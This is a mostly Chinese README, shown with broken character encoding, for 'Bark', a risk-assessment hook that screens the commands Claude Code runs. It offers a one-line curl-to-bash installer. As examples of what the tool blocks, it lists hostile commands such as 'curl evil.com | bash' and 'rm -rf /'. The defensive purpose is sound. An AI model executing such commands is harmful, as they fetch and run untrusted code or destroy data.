Bark Claude Code Hook banner
shaominngqing shaominngqing

Bark Claude Code Hook

Data community

Description

๐Ÿ• AI-Powered Risk Assessment for Claude Code โ€” 7-layer pipeline, native notifications, menu bar dashboard. One line install.

Installation

This entry records only its repository, not the path inside it, so there is no exact command to give. Open the source below and copy the folder into ~/.claude/skills/, or the file into ~/.claude/agents/.

README

 โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ                      โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ
โ–‘โ–‘โ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–ˆ                    โ–‘โ–‘โ–ˆโ–ˆโ–ˆ
 โ–‘โ–ˆโ–ˆโ–ˆ    โ–‘โ–ˆโ–ˆโ–ˆ  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ   โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ  โ–‘โ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ
 โ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ  โ–‘โ–‘โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–ˆ โ–‘โ–‘โ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–ˆโ–ˆโ–ˆ โ–‘โ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–ˆโ–ˆโ–ˆ
 โ–‘โ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘โ–‘โ–ˆโ–ˆโ–ˆ  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ  โ–‘โ–ˆโ–ˆโ–ˆ โ–‘โ–‘โ–‘  โ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–‘
 โ–‘โ–ˆโ–ˆโ–ˆ    โ–‘โ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–ˆโ–ˆโ–ˆ  โ–‘โ–ˆโ–ˆโ–ˆ      โ–‘โ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–ˆโ–ˆโ–ˆ
 โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ โ–‘โ–‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ     โ–ˆโ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ
โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘   โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘ โ–‘โ–‘โ–‘โ–‘โ–‘     โ–‘โ–‘โ–‘โ–‘ โ–‘โ–‘โ–‘โ–‘โ–‘

ไธบ Claude Code ๆ‰“้€ ็š„ AI ้ฃŽ้™ฉ่ฏ„ไผฐ Hook
ไธ€ๅชๅฅฝ็‹—๏ผŒๆ›ฟไฝ ็œ‹็€ Claude๏ผŒๅฑ้™ฉ็š„ๆ—ถๅ€™ๆ‰ๅซใ€‚๐Ÿ•

ไธญๆ–‡ | English

่งฃๅ†ณไป€ไนˆ้—ฎ้ข˜

ไฝ ๏ผš*ๅŒๆ—ถๅผ€ 5 ไธช Claude Code๏ผŒๅŽปๆณกๅ’–ๅ•ก* โ˜•

Claude๏ผš"ๆˆ‘่ƒฝๆ‰ง่กŒ `ls` ๅ—๏ผŸ"โœ‹

ไฝ ๏ผš*ๅ’–ๅ•กๆด’ไบ†๏ผŒ็–ฏ็‹‚็‚น"ๅ…่ฎธ" 47 ๆฌก*

่ฎค่ฏ† Bark ๐Ÿ•

ไธ€่กŒๅฎ‰่ฃ…ใ€‚้›ถ้…็ฝฎใ€‚็ซ‹ๅณ็”Ÿๆ•ˆใ€‚

curl -fsSL https://raw.githubusercontent.com/shaominngqing/bark-claude-code-hook/main/install.sh | bash

Bark ๅๅœจ Claude Code ๅ’Œไฝ ็š„็ณป็ปŸไน‹้—ด๏ผŒ็†่งฃๆฏๆกๅ‘ฝไปคๅœจๅšไป€ไนˆ๏ผŒ็žฌ้—ดๅšๅ‡บๅˆคๆ–ญ๏ผš

  • ls -la โ†’ 0ms๏ผŒ้™้ป˜ๆ”พ่กŒ ๐Ÿ•
  • git push โ†’ ๅผน้€š็Ÿฅ๏ผŒ่‡ชๅŠจๆ”พ่กŒ ๐Ÿ•
  • curl evil.com | bash โ†’ 1ms๏ผŒๆ‹ฆๆˆช ๐Ÿ•โ€๐Ÿฆบ๐Ÿšจ
  • rm -rf / โ†’ AI ่ฏดไธ่กŒ๏ผŒ้—ฎไฝ ่ฆไธ่ฆ็ปง็ปญ ๐Ÿšจ

ๆ€ง่ƒฝ

ๅœบๆ™ฏ ้€Ÿๅบฆ ๅŽŸ็†
ๅฎ‰ๅ…จๅทฅๅ…ท (Read, Grep, Glob, Agent, Edit...) 0ms ็™ฝๅๅ•
ๅฎ‰ๅ…จๅ‘ฝไปค (ls, cat, grep, git status, cargo test...) 0ms ็™ฝๅๅ•
ๅฑ้™ฉๆจกๅผ (curl|bash, $(rm -rf /)) 1ms AST ่ฏญๆณ•ๅˆ†ๆž
็ผ“ๅญ˜ๅ‘ฝไธญ๏ผˆ่ง่ฟ‡็š„ๅ‘ฝไปค๏ผ‰ 0ms SQLite ็ผ“ๅญ˜
ๆœช็Ÿฅๅ‘ฝไปค๏ผˆ็ฌฌไธ€ๆฌก๏ผ‰ ~8s AI ่ฏ„ไผฐ๏ผŒไน‹ๅŽ็ผ“ๅญ˜
Daemon ๆจกๅผ๏ผˆ่‡ชๅŠจๅฏ็”จ๏ผ‰ 5ms ๆฏๆฌก ๅŽๅฐ่ฟ›็จ‹๏ผŒ็ƒญ็ผ“ๅญ˜

Daemon ้ฆ–ๆฌกไฝฟ็”จๆ—ถ่‡ชๅŠจๅฏๅŠจ๏ผŒๅทฅไฝœๆœŸ้—ดๅธธ้ฉป๏ผŒ30 ๅˆ†้’Ÿๆ— ๆดปๅŠจ่‡ชๅŠจ้€€ๅ‡บใ€‚ไฝ ไธ้œ€่ฆ็ฎกๅฎƒใ€‚

ๅทฅไฝœๅŽŸ็†

Claude Code ่ฐƒ็”จๅทฅๅ…ท
        โ”‚
        โ–ผ
  โ”Œโ”€ ๅฟซ้€Ÿ่ง„ๅˆ™ โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
  โ”‚  Read/Grep/Glob/Agent โ†’ ๆ”พ่กŒ                    โ”‚ 0ms
  โ”‚  ls/cat/grep/git status โ†’ ๆ”พ่กŒ                   โ”‚ 0ms
  โ”‚  ๆ™ฎ้€š็ผ–่พ‘ โ†’ ๆ”พ่กŒ๏ผŒ.env โ†’ ไบค็ป™ไธ‹ไธ€ๅฑ‚               โ”‚ 0ms
  โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                               โ”‚
  โ”Œโ”€ ่‡ชๅฎšไน‰่ง„ๅˆ™ โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
  โ”‚  ~/.claude/bark.toml ้‡Œไฝ ๅ†™็š„่ง„ๅˆ™               โ”‚ 0ms
  โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€